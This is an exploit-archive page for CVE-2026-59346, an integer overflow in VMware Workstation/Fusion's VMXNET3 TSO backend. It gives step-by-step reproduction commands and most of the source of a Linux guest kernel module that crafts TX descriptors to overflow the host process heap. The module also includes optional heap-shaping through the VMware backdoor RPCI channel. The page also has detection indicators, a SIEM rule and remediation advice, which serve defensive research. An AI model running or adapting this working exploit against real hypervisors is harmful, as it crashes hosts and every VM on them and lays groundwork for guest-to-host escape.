PoC Archive PoC Archive
CVE-2026-59346 category: binary CVSS 9.3 (CRITICAL)
Patched

VMXNET3 TSO Integer Overflow — VMware Workstation / Fusion Guest-to-Host Heap Overflow (CVE-2026-59346)

Published: 2026-11-25 • Researcher: Stan S / 0xCyberstan (Cyberstan); reported via Trend Micro Zero Day Initiative (ZDI-26-647); vendor advisory Broadcom / VMware (VMSA-2026-0007)

Target software VMware Workstation, VMware Fusion (and VMware Player) — the vmware-vmx VMXNET3 virtual NIC TSO backend
Affected versions VMware Workstation 25H2, 26H1; VMware Fusion 25H2, 26H1 (fixed in 26H1u1). The PoC was developed against Workstation Pro 25.0.1 (build 25219725).
Status PoC
Severity Critical · CVSS 9.3
CVSS 9.3/10
Severity
Critical
CVE
CVE-2026-59346
Category
binary
Affected product
VMware Workstation, VMware Fusion (and VMware Player) — the vmware-vmx VMXNET3 virtual NIC TSO backend
Affected versions
VMware Workstation 25H2, 26H1; VMware Fusion 25H2, 26H1 (fixed in 26H1u1). The PoC was developed against Workstation Pro 25.0.1 (build 25219725).
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-15
Author / ResearcherStan S / 0xCyberstan (Cyberstan); reported via Trend Micro Zero Day Initiative (ZDI-26-647); vendor advisory Broadcom / VMware (VMSA-2026-0007)
CVE / AdvisoryCVE-2026-59346
Categorybinary
SeverityCritical
CVSS Score9.3 (CVSSv3, vendor rating as recorded by NVD; the vector string is not published in the worklist — see references)
StatusPoC
Tagsinteger-overflow, CWE-190, VMware, hypervisor, VM-escape, VMXNET3, guest-to-host, heap-overflow, kernel-module, crash
RelatedN/A

Affected Target

FieldValue
Software / SystemVMware Workstation, VMware Fusion (and VMware Player) — the vmware-vmx VMXNET3 virtual NIC TSO backend
Versions AffectedVMware Workstation 25H2, 26H1; VMware Fusion 25H2, 26H1 (fixed in 26H1u1). The PoC was developed against Workstation Pro 25.0.1 (build 25219725).
Language / PlatformC (out-of-tree Linux guest kernel module); x86-64 host running the desktop hypervisor; Linux 6.12 guest kernel
Authentication RequiredYes — local administrative (root) privileges inside the guest VM
Network Access RequiredLocal only — guest-to-host through the emulated VMXNET3 adapter; no external network path

Summary

CVE-2026-59346 is a 32-bit integer overflow in the VMXNET3 virtual NIC TSO segmentation path of the VMware desktop hypervisor host process, vmware-vmx. A guest administrator can supply TX descriptors whose segment count multiplied by per-segment size exceeds 2^32, so the allocation request is truncated while the segmentation loop still writes the full, unwrapped amount. The result is a large out-of-bounds write in host memory using guest-controlled packet content, which the vendor rates as arbitrary code execution in the hypervisor context. The public PoC demonstrates the memory-safety violation only: the write runs until it reaches unmapped memory and the host process dies with SIGSEGV, powering off the VM.

Vulnerability Details

Root Cause

The VMXNET3 TSO segmentation routine computes its allocation size as segment count times per-segment size using a 32-bit imul. When the true product exceeds 2^32 the result wraps, and the allocator receives only the truncated low 32 bits. The segmentation loop that follows is driven by the segment count, not by the allocation size, so it writes per-segment-size bytes for every segment into a buffer sized from the wrapped product. An earlier fix for this code path (CVE-2025-41236) added bounds checks that reject packets where the MSS, the per-segment size, or their sum exceed 9216 bytes. Those checks constrain the individual descriptor fields but never the product, which is the value that actually wraps; parameters well under the 9216 limit still reach the overflow.

The PoC builds an IPv6 packet with three 2048-byte destination-options headers plus a 24-byte TCP header (6222-byte header, 6240-byte per-segment size) and MSS 1, then searches for a segment count whose product wraps to a small allocation (5984 bytes in the upstream build). The header comment in vmxnet3_tso_trigger.c summarises the shape: the wrapped allocation is 5984 bytes while the TSO loop attempts to write roughly 4.3 GB.

Attack Vector

A guest user with sufficient privilege to write raw TX descriptors — root inside the guest — loads the out-of-tree kernel module. The module bypasses the in-kernel driver’s TSO logic, locates the VMXNET3 TX ring in the device private structure, writes the descriptor chain directly (all scatter-gather entries use valid DMA so the host TSO loop runs unchecked), and rings the transmit doorbell at MMIO offset 0x600. Because VMXNET3 is the default adapter for modern guests, no special device configuration is normally required beyond the adapter being present and bound.

Impact

A large out-of-bounds write in the host vmware-vmx process with content drawn from the guest-supplied packet, crossing the guest-to-host isolation boundary. The vendor rated the issue as permitting arbitrary code execution in the hypervisor context, which would mean full control of the host and of every VM on it. The published PoC stops at the crash: the write walks off the heap until it hits unmapped memory, the host process receives SIGSEGV (signal 11), and the guest powers off. Even at crash-only severity this is a reliable denial of service against the hypervisor and a proof of the memory-safety violation that a weaponised exploit would build on.

Environment / Lab Setup

Output
OS:          Host: Ubuntu 24.04 LTS, kernel 6.17.0, glibc 2.39
             Guest: Alpine Linux, kernel 6.12 with a VMXNET3 NIC
Target:      VMware Workstation Pro 25.0.1 (build 25219725), vulnerable VMXNET3 backend
Attacker:    root shell inside the guest VM
Tools:       gcc, make, kernel headers (linux-virt-dev on Alpine,
             linux-headers-$(uname -r) on Debian/Ubuntu), insmod/rmmod, dmesg, lspci

Setup Steps

Shell script
1
2
3
lspci | grep -i vmxnet
apk add linux-virt-dev                        # Alpine
make

Proof of Concept

Step-by-Step Reproduction

  1. Confirm the target adapter — the guest must have a VMXNET3 device, and the interface must be up and bound to the vmxnet3 driver.

    Shell script
    1
    2
    
    lspci | grep -i vmxnet
    ip link show eth0
  2. Build the module — the supplied Makefile is a standard out-of-tree kernel module build.

    Shell script
    1
    2
    
    apk add linux-virt-dev
    make
  3. Dry run first — dryrun=1 writes the descriptors but skips the doorbell, so nothing is triggered while you confirm the ring was found and the geometry was computed.

    Shell script
    1
    2
    3
    
    insmod vmxnet3_tso_trigger.ko dryrun=1
    dmesg | tail -20
    rmmod vmxnet3_tso_trigger
  4. Trigger the overflow — omit dryrun (and set ifname=eth1 etc. if the VMXNET3 device is not eth0). The module writes the descriptor chain and rings the doorbell.

    Shell script
    1
    2
    
    dmesg -w &
    insmod vmxnet3_tso_trigger.ko ifname=eth0
  5. Confirm from the host side — the VM’s vmware.log records the host process crash; the guest powers off, so the last guest messages may not reach disk (watch the console rather than the journal).

    Shell script
    1
    
    grep -n "PANIC: Unexpected signal: 11" vmware.log

Exploit Code

See vmxnet3_tso_trigger.c (trigger module) and Makefile (module build) in this folder. The upstream README is preserved as upstream-README.md; the annotated disassembly, heap geometry and symbol offsets live in the upstream write-up linked below.

C source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/* Key constants and geometry from vmxnet3_tso_trigger.c (not executed during archival) */
#define NUM_DSTOPTS    3
#define DSTOPT_SIZE    2048
#define DSTOPTS_TOTAL  (NUM_DSTOPTS * DSTOPT_SIZE)   /* 6144 */
#define HDR_TOTAL      (14 + 40 + DSTOPTS_TOTAL + 24) /* 6222 */
#define MSS            1
#define TXPROD_REG     0x600

per_seg = (10 + HDR_TOTAL + MSS + 7) & ~7;   /* 6240, under the 9216 patched limit */
/* 32-bit imul wraps: allocation = (per_seg * seg_count) mod 2^32 == 5984 */
/* segmentation loop is driven by seg_count, not alloc -> ~4.3 GB write */

Expected Output

Output
1
2
3
4
tso_v8: per_seg=6240 (0x1860), HDR_TOTAL=6222, MSS=1
tso_v8: PARAMS: alloc=... overflow=... seg_count=... paylen=...
tso_v8: ring at priv+N: base=... sz=... n2f=... gen=...
tso_v8: DRYRUN -- descriptors written but NOT triggered      # dryrun=1 only

Real run, guest console (the VM dies with the host process):

Output
1
2
tso_v8: ringing doorbell (n2f=...)
tso_v8: SUCCESS -- overflow triggered, host should crash

Host vmware.log:

Output
1
PANIC: Unexpected signal: 11

Detection & Indicators of Compromise

  • Host vmware.log for the VM shows PANIC: Unexpected signal: 11 with a backtrace through the allocator on the vcpu-0 thread, together with an abrupt end to the guest session.
  • The VM powers off without a guest-initiated shutdown and the host process exits; repeated instances indicate deliberate triggering.
  • Guest dmesg contains the module’s own markers: tso_v8: INIT START, tso_v8: PARAMS, tso_v8: ring at priv+, tso_v8: SUCCESS -- overflow triggered, host should crash.
  • Loading of an out-of-tree kernel module (here vmxnet3_tso_trigger.ko), especially an unsigned or locally built module, in a guest that previously ran clean.
  • If the optional heap-shaping paths are used, the guest spams VMware backdoor RPCI info-set guestinfo.* commands (visible as many guestinfo.w.*, guestinfo.big.* or guestinfo.fa.* keys on the host).

Example host / guest triage:

Shell script
1
2
3
grep -n "PANIC: Unexpected signal: 11" /vmfs/volumes/*/*/vmware.log

dmesg | grep -E "tso_v8: (INIT|PARAMS|ring at|SUCCESS)"

SIEM / EDR logic (example):

Output
1
2
3
4
5
6
title: VMXNET3 TSO trigger module loaded in guest or host panic signal 11
detection:
  guest_module:  'vmxnet3_tso_trigger'
  guest_dmesg:   'tso_v8:'
  host_log:      'PANIC: Unexpected signal: 11'
  condition:     guest_module or guest_dmesg or host_log

Remediation

ActionDetail
PatchUpgrade VMware Workstation and VMware Fusion to 26H1u1 or later (VMSA-2026-0007). Patched hosts reject the crafted packet; the module then logs normally and the VM keeps running.
WorkaroundThere is no configuration-only fix for the vulnerable build: the multiply must be performed in 64 bits with the result bounded before it reaches the allocator, which only the vendor patch does. Interim risk reduction: do not grant guest administrative access to untrusted users, and use a non-VMXNET3 adapter (e.g. e1000e) for untrusted guests where the workload allows.
Config HardeningTreat guest root as a host-trust boundary: isolate VMs that run untrusted workloads, alert on PANIC: Unexpected signal: 11 and on repeated host process crashes, monitor guest module loads, restrict who can add virtual hardware, and keep hypervisor builds current.

References

Notes

Auto-ingested from https://github.com/0xCyberstan/CVE-2026-59346-POC on 2026-11-25.

Review verdict: genuine exploit PoC. The repository contains real code that triggers the vulnerability — an out-of-tree Linux guest kernel module that writes VMXNET3 TX descriptors directly and rings the doorbell — not a detector, scanner or audit tool. It is a limited (crash/oracle) PoC: it demonstrates the out-of-bounds write and the resulting host SIGSEGV, but does not attempt code execution, heap grooming for control, or an ASLR bypass, even though the vendor’s severity is based on hypervisor code execution.

Limitations: requires root in the guest and a VMXNET3 adapter; the ring-discovery heuristic in find_tx_ring() and the symbol offsets in the upstream analysis are specific to Workstation Pro 25.0.1 build 25219725 and may need adjustment on other kernels or builds; the write is not bounded, so the VM is expected to power off and unsaved guest state is lost; hosts at 26H1u1 or later are not affected.

License status: the repository has no license file. The exploit source is archived with attribution to the author for authorized security research only; an attribution header was added to the C file, and the sole code changes to upstream sources are that header. No exploit code was built or executed during ingestion, and no scanner or detector projects were included. Run only inside a lab against systems you own or have written authorization to test.

vmxnet3_tso_trigger.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
/*
 * vmxnet3_tso_trigger_v8.c — VMXNET3 TSO heap overflow PoC
 *
 * Bypasses CVE-2025-41236 patch (per_seg=6240 < 9216, MSS=1).
 * 32-bit imul wraps: Mem_Malloc(5984), TSO loop writes ~4.3GB → SIGSEGV.
 *
 * All SG entries use valid DMA so the TSO loop runs unchecked.
 *
 * Usage: insmod vmxnet3_tso_trigger_v8.ko [ifname=eth0]
 *
 * Archived for authorized security research only.
 * Source: https://github.com/0xCyberstan/CVE-2026-59346-POC (see README for attribution/license)
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/netdevice.h>
#include <linux/pci.h>
#include <linux/dma-mapping.h>
#include <linux/if_ether.h>
#include <linux/ipv6.h>
#include <linux/tcp.h>
#include <linux/delay.h>
#include <linux/mm.h>
#include <linux/sched.h>

static char *ifname = "eth0";
module_param(ifname, charp, 0444);

static int mode = 0;
module_param(mode, int, 0444);

static int warmup = 0;
module_param(warmup, int, 0444);
MODULE_PARM_DESC(warmup, "Number of RPCI heap-warming allocations (default 0)");

static int txwarm = 0;
module_param(txwarm, int, 0444);
MODULE_PARM_DESC(txwarm, "TX ring warmup TSO packets before overflow (default 0)");

static int dryrun = 0;
module_param(dryrun, int, 0444);
MODULE_PARM_DESC(dryrun, "1=skip doorbell write (just set up descriptors, don't trigger)");

static int freechunk = 0;
module_param(freechunk, int, 0444);
MODULE_PARM_DESC(freechunk, "Create N free chunks matching TSO alloc size via RPCI");

static int wait_ms = 0;
module_param(wait_ms, int, 0444);
MODULE_PARM_DESC(wait_ms, "Milliseconds to wait before doorbell for host mprotect");

/* --- VMware backdoor RPCI for same-vCPU heap warming --- */

#define VMW_MAGIC       0x564D5868u
#define VMW_PORT        0x5658u
#define VMW_PORT_HB     0x5659u
#define MSG_CMD         0x1Eu
#define MSG_OPEN        (0x00 << 16)
#define MSG_SENDSIZE    (0x01 << 16)
#define MSG_SENDPAYLOAD (0x02 << 16)
#define MSG_RECVSIZE    (0x03 << 16)
#define MSG_CLOSE       (0x06 << 16)
#define MSG_RPCI        0x49435052u
#define MSG_SUCCESS     0x0001u
#define MSG_HB          0x0004u

static inline void vmw_bd(u32 cmd, u32 ebx_in,
			   u32 *eax, u32 *ebx, u32 *ecx, u32 *edx,
			   u32 *esi, u32 *edi)
{
	u32 a, b, c, d;
	u64 si, di;
	asm volatile("inl %%dx, %%eax"
		: "=a"(a), "=b"(b), "=c"(c), "=d"(d), "=S"(si), "=D"(di)
		: "a"(VMW_MAGIC), "b"(ebx_in), "c"(cmd), "d"(VMW_PORT));
	if (eax) *eax = a;
	if (ebx) *ebx = b;
	if (ecx) *ecx = c;
	if (edx) *edx = d;
	if (esi) *esi = (u32)si;
	if (edi) *edi = (u32)di;
}

static inline void vmw_hb_send(u32 chan, u32 cookie2,
			       const void *data, u32 len)
{
	u64 c2 = cookie2;
	asm volatile(
		"push %%rbp\n\t"
		"mov %5, %%rbp\n\t"
		"rep outsb\n\t"
		"pop %%rbp"
		: "+S"(data), "+c"(len)
		: "a"(VMW_MAGIC), "b"((u64)(0x00010000u | chan)),
		  "d"((u64)VMW_PORT_HB), "r"(c2)
		: "memory");
}

static int rpci_send(const char *cmd_str, u32 cmd_len)
{
	u32 ecx, edx, esi, edi;
	u32 chan_id, cookie1, cookie2;
	u16 status;
	u32 chan_cmd;

	vmw_bd(MSG_CMD | MSG_OPEN, MSG_RPCI,
	       NULL, NULL, &ecx, &edx, &esi, &edi);
	if (!((ecx >> 16) & MSG_SUCCESS))
		return -EIO;
	chan_id = edx >> 16;
	cookie1 = esi;
	cookie2 = edi;

	chan_cmd = MSG_CMD | MSG_SENDSIZE | (chan_id << 16);
	vmw_bd(chan_cmd, cmd_len, NULL, NULL, &ecx, NULL, NULL, NULL);
	status = (ecx >> 16) & 0xFFFF;
	if (!(status & MSG_SUCCESS))
		goto close;

	if (status & MSG_HB) {
		vmw_hb_send(chan_id, cookie2, cmd_str, cmd_len);
	} else {
		u32 off = 0;
		while (off < cmd_len) {
			u32 chunk = 0;
			u32 rem = cmd_len - off;
			if (rem > 4) rem = 4;
			memcpy(&chunk, cmd_str + off, rem);
			chan_cmd = MSG_CMD | MSG_SENDPAYLOAD | (chan_id << 16);
			vmw_bd(chan_cmd, chunk, NULL, NULL, &ecx, NULL, NULL, NULL);
			off += 4;
		}
	}

	/* drain reply */
	chan_cmd = MSG_CMD | MSG_RECVSIZE | (chan_id << 16);
	vmw_bd(chan_cmd, 0, NULL, NULL, &ecx, NULL, NULL, NULL);

close:
	chan_cmd = MSG_CMD | MSG_CLOSE | (chan_id << 16);
	vmw_bd(chan_cmd, cookie1, NULL, NULL, NULL, NULL, NULL, NULL);
	return 0;
}

#define NUM_DSTOPTS    3
#define DSTOPT_SIZE    2048
#define DSTOPTS_TOTAL  (NUM_DSTOPTS * DSTOPT_SIZE)   /* 6144 */
#define ETH_LEN        14
#define IP6_LEN        40
#define TCP_LEN        24    /* doff=6: 20 standard + 4 options */
#define HDR_TOTAL      (ETH_LEN + IP6_LEN + DSTOPTS_TOTAL + TCP_LEN)  /* 6222 */

#define MSS            1

#define TXD_GEN_SHIFT  14
#define TXD_GEN        (1 << TXD_GEN_SHIFT)
#define TXD_EOP        (1 << 12)
#define TXD_CQ         (1 << 13)
#define OM_TSO         3
#define TXPROD_REG     0x600
#define MAX_TX_BUF     16383

struct txdesc {
	__le64 addr;
	__le32 dw2;
	__le32 dw3;
};

struct ring_info {
	struct txdesc *base;
	u32 size;
	u32 *n2f;
	u8  *gen;
};

struct tso_params {
	u32 per_seg;
	u32 seg_count;
	u32 alloc;
	u32 paylen;
	u32 overflow;
	int num_hdr_entries;
	int num_pay_entries;
	int total_entries;
};

static long modinv(long a, long m)
{
	long old_r = a % m, r = m;
	long old_s = 1, s = 0;
	long q, tmp;

	while (r != 0) {
		q = old_r / r;
		tmp = r; r = old_r - q * r; old_r = tmp;
		tmp = s; s = old_s - q * s; old_s = tmp;
	}
	if (old_r != 1) return -1;
	return ((old_s % m) + m) % m;
}

static int compute_params(struct tso_params *p)
{
	u32 per_seg, ps;
	int k;
	long ps_odd, inv, mod_exp;
	u32 min_sc, step;
	u32 alloc, alloc_div, seg_count;
	u32 best_alloc = 0, best_sc = 0;
	int best_entries = 0x7FFFFFFF;

	per_seg = (10 + HDR_TOTAL + MSS + 7) & ~7;
	p->per_seg = per_seg;

	printk(KERN_EMERG "tso_v8: per_seg=%u (0x%x), HDR_TOTAL=%u, MSS=%d\n",
		per_seg, per_seg, HDR_TOTAL, MSS);

	ps = per_seg;
	k = 0;
	while ((ps & 1) == 0) {
		ps >>= 1;
		k++;
	}
	ps_odd = ps;
	mod_exp = 32 - k;

	inv = modinv(ps_odd, 1L << mod_exp);
	if (inv < 0) {
		printk(KERN_EMERG "tso_v8: no modular inverse for per_seg=%u\n", per_seg);
		return -EINVAL;
	}

	min_sc = (u32)(((u64)0x100000000ULL + per_seg - 1) / per_seg);
	step = 1 << k;

	for (alloc = step; alloc < per_seg; alloc += step) {
		u32 pl;
		int he, pe, te;

		alloc_div = alloc >> k;
		seg_count = (u32)(((u64)alloc_div * inv) % (1UL << mod_exp));

		if (seg_count < min_sc)
			continue;
		if (((u64)per_seg * seg_count) % (1ULL << 32) != alloc)
			continue;

		pl = seg_count * MSS;
		he = (HDR_TOTAL + MAX_TX_BUF - 1) / MAX_TX_BUF;
		pe = (pl + MAX_TX_BUF - 1) / MAX_TX_BUF;
		te = he + pe;

		if (te > 96)
			continue;

		if (te < best_entries) {
			best_entries = te;
			best_alloc = alloc;
			best_sc = seg_count;
		}
	}

	if (best_entries == 0x7FFFFFFF) {
		printk(KERN_EMERG "tso_v8: no valid parameters found!\n");
		return -ENOENT;
	}

	p->alloc = best_alloc;
	p->seg_count = best_sc;
	p->paylen = best_sc * MSS;
	p->overflow = per_seg - best_alloc;
	p->num_hdr_entries = (HDR_TOTAL + MAX_TX_BUF - 1) / MAX_TX_BUF;
	p->num_pay_entries = (p->paylen + MAX_TX_BUF - 1) / MAX_TX_BUF;
	p->total_entries = p->num_hdr_entries + p->num_pay_entries;

	printk(KERN_EMERG "tso_v8: PARAMS: alloc=%u overflow=%u seg_count=%u paylen=%u\n",
		p->alloc, p->overflow, p->seg_count, p->paylen);
	printk(KERN_EMERG "tso_v8: PARAMS: true_product=%llu entries=%d (%d hdr + %d pay)\n",
		(u64)per_seg * best_sc, p->total_entries,
		p->num_hdr_entries, p->num_pay_entries);
	printk(KERN_EMERG "tso_v8: VERIFY: (%u * %u) mod 2^32 = %u (expect %u)\n",
		per_seg, best_sc,
		(u32)(((u64)per_seg * best_sc) & 0xFFFFFFFF),
		best_alloc);

	return 0;
}

static void craft_destopts(u8 *buf, const struct tso_params *p)
{
	memset(buf, 0x41, DSTOPTS_TOTAL);
}

static int build_packet(u8 *pkt, struct net_device *dev,
			const struct tso_params *p)
{
	struct ipv6hdr *ip6;
	struct tcphdr *tcp;
	u8 *ptr, *destopts;
	int i;

	ptr = pkt;
	memset(ptr, 0xff, 6);
	memcpy(ptr + 6, dev->dev_addr, 6);
	ptr[12] = 0x86; ptr[13] = 0xdd;

	ip6 = (struct ipv6hdr *)(pkt + ETH_LEN);
	memset(ip6, 0, IP6_LEN);
	ip6->version = 6;
	ip6->nexthdr = IPPROTO_DSTOPTS;
	ip6->hop_limit = 64;
	ip6->payload_len = htons(0xFFFF);
	ip6->saddr.s6_addr[0] = 0xfe; ip6->saddr.s6_addr[1] = 0x80;
	ip6->saddr.s6_addr[15] = 0x01;
	ip6->daddr.s6_addr[0] = 0xfe; ip6->daddr.s6_addr[1] = 0x80;
	ip6->daddr.s6_addr[15] = 0x02;

	destopts = pkt + ETH_LEN + IP6_LEN;
	craft_destopts(destopts, p);

	ptr = pkt + ETH_LEN + IP6_LEN;
	for (i = 0; i < NUM_DSTOPTS; i++) {
		ptr[0] = (i == NUM_DSTOPTS - 1) ? IPPROTO_TCP : IPPROTO_DSTOPTS;
		ptr[1] = (DSTOPT_SIZE / 8) - 1;   /* hdr_ext_len = 255 → 2048 bytes */
		ptr += DSTOPT_SIZE;
	}

	tcp = (struct tcphdr *)(pkt + ETH_LEN + IP6_LEN + DSTOPTS_TOTAL);
	memset(tcp, 0, TCP_LEN);
	tcp->source = htons(12345);
	tcp->dest   = htons(54321);
	tcp->seq    = htonl(0xdeadbeef);
	tcp->doff   = TCP_LEN / 4;   /* 6 = 24/4 */
	tcp->syn    = 1;
	tcp->window = htons(0xffff);

	return HDR_TOTAL;
}

static int find_tx_ring(void *priv, struct ring_info *ri)
{
	int off;

	for (off = 24; off < 2048; off += 4) {
		unsigned long val;
		u32 sz, n2f, n2c;
		u8 gen;

		val = *(unsigned long *)((char *)priv + off);
		if ((val >> 48) != 0xffff)
			continue;
		if (val & 0xf)
			continue;

		sz  = *(u32 *)((char *)priv + off + 8);
		n2f = *(u32 *)((char *)priv + off + 12);
		n2c = *(u32 *)((char *)priv + off + 16);
		gen = *(u8 *)((char *)priv + off + 20);

		if (sz < 128 || sz > 4096 || (sz & 31))
			continue;
		if (n2f >= sz || n2c >= sz)
			continue;
		if (gen > 1)
			continue;

		ri->base = (struct txdesc *)val;
		ri->size = sz;
		ri->n2f  = (u32 *)((char *)priv + off + 12);
		ri->gen  = (u8 *)((char *)priv + off + 20);

		printk(KERN_EMERG "tso_v8: ring at priv+%d: base=%px sz=%u n2f=%u gen=%u\n",
			off, ri->base, sz, n2f, gen);
		return 0;
	}

	printk(KERN_EMERG "tso_v8: TX ring not found\n");
	return -ENOENT;
}

static inline void adv_ring(u32 *idx, u8 *gen, u32 size)
{
	if (++(*idx) == size) {
		*idx = 0;
		*gen ^= 1;
	}
}

static void warmup_heap_arena(int count, u32 val_size)
{
	char *buf;
	int i, ok = 0;
	int hdr;

	buf = kmalloc(val_size + 64, GFP_KERNEL);
	if (!buf) return;

	for (i = 0; i < count; i++) {
		hdr = snprintf(buf, 60, "info-set guestinfo.w.%04d ", i);
		memset(buf + hdr, 'B', val_size);
		rpci_send(buf, hdr + val_size);
		ok++;
	}

	for (i = 0; i < 10; i++) {
		hdr = snprintf(buf, 60, "info-set guestinfo.big.%02d ", i);
		memset(buf + hdr, 'C', val_size);
		rpci_send(buf, hdr + val_size);
		ok++;
	}

	kfree(buf);
	printk(KERN_EMERG "tso_v8: warmup sent %d/%d RPCI allocs (%u bytes each)\n",
		ok, count + 10, val_size);
}

static void create_free_chunks(int count, u32 val_size, u32 sep_size)
{
	char *buf;
	int i, hdr;

	(void)sep_size;

	buf = kmalloc(val_size + 64, GFP_KERNEL);
	if (!buf) return;

	for (i = 0; i < count; i++) {
		hdr = snprintf(buf, 60, "info-set guestinfo.fa.%04d ", i);
		memset(buf + hdr, 'A', val_size);
		rpci_send(buf, hdr + val_size);
	}

	printk(KERN_EMERG "tso_v8: freechunk: allocated %d same-size chunks (%u bytes)\n",
		count, val_size);

	hdr = snprintf(buf, 60, "info-set guestinfo.fa.%04d ", 0);
	buf[hdr] = 'x';
	rpci_send(buf, hdr + 1);

	printk(KERN_EMERG "tso_v8: freechunk: freed A.0000 (%u bytes) -> hole for TSO alloc\n",
		val_size);

	kfree(buf);
}


static int __init tso_init(void)
{
	struct net_device *dev;
	struct pci_dev *pdev;
	struct netdev_queue *txq;
	void *adapter;
	struct ring_info ri = {};
	struct tso_params tp = {};
	u8 *pkt = NULL;
	dma_addr_t pkt_dma = 0;
	void __iomem *doorbell = NULL;
	int pkt_len, rc, i;
	u32 idx, first_idx = 0;
	u8 gen;
	struct txdesc *d;
	int avail;
	u32 pay_remain;
	u32 warmup_val_size;

	printk(KERN_EMERG "tso_v8: INIT START mode=%d ifname=%s txwarm=%d cpu=%d\n",
	       mode, ifname, txwarm, smp_processor_id());

	{
		struct cpumask mask;
		cpumask_clear(&mask);
		cpumask_set_cpu(0, &mask);
		set_cpus_allowed_ptr(current, &mask);
		schedule();
	}
	printk(KERN_EMERG "tso_v8: pinned to cpu %d\n", smp_processor_id());

	rc = compute_params(&tp);
	if (rc) {
		printk(KERN_EMERG "tso_v8: compute_params failed rc=%d\n", rc);
		return rc;
	}

	warmup_val_size = tp.alloc > 0 ? tp.alloc - 1 : 0;

	if (warmup > 0)
		warmup_heap_arena(warmup, warmup_val_size);

	dev = dev_get_by_name(&init_net, ifname);
	if (!dev) {
		printk(KERN_EMERG "tso_v8: %s not found\n", ifname);
		return -ENODEV;
	}

	pdev = to_pci_dev(dev->dev.parent);
	adapter = netdev_priv(dev);

	rc = find_tx_ring(adapter, &ri);
Showing 500 of 650 lines View full file on GitHub →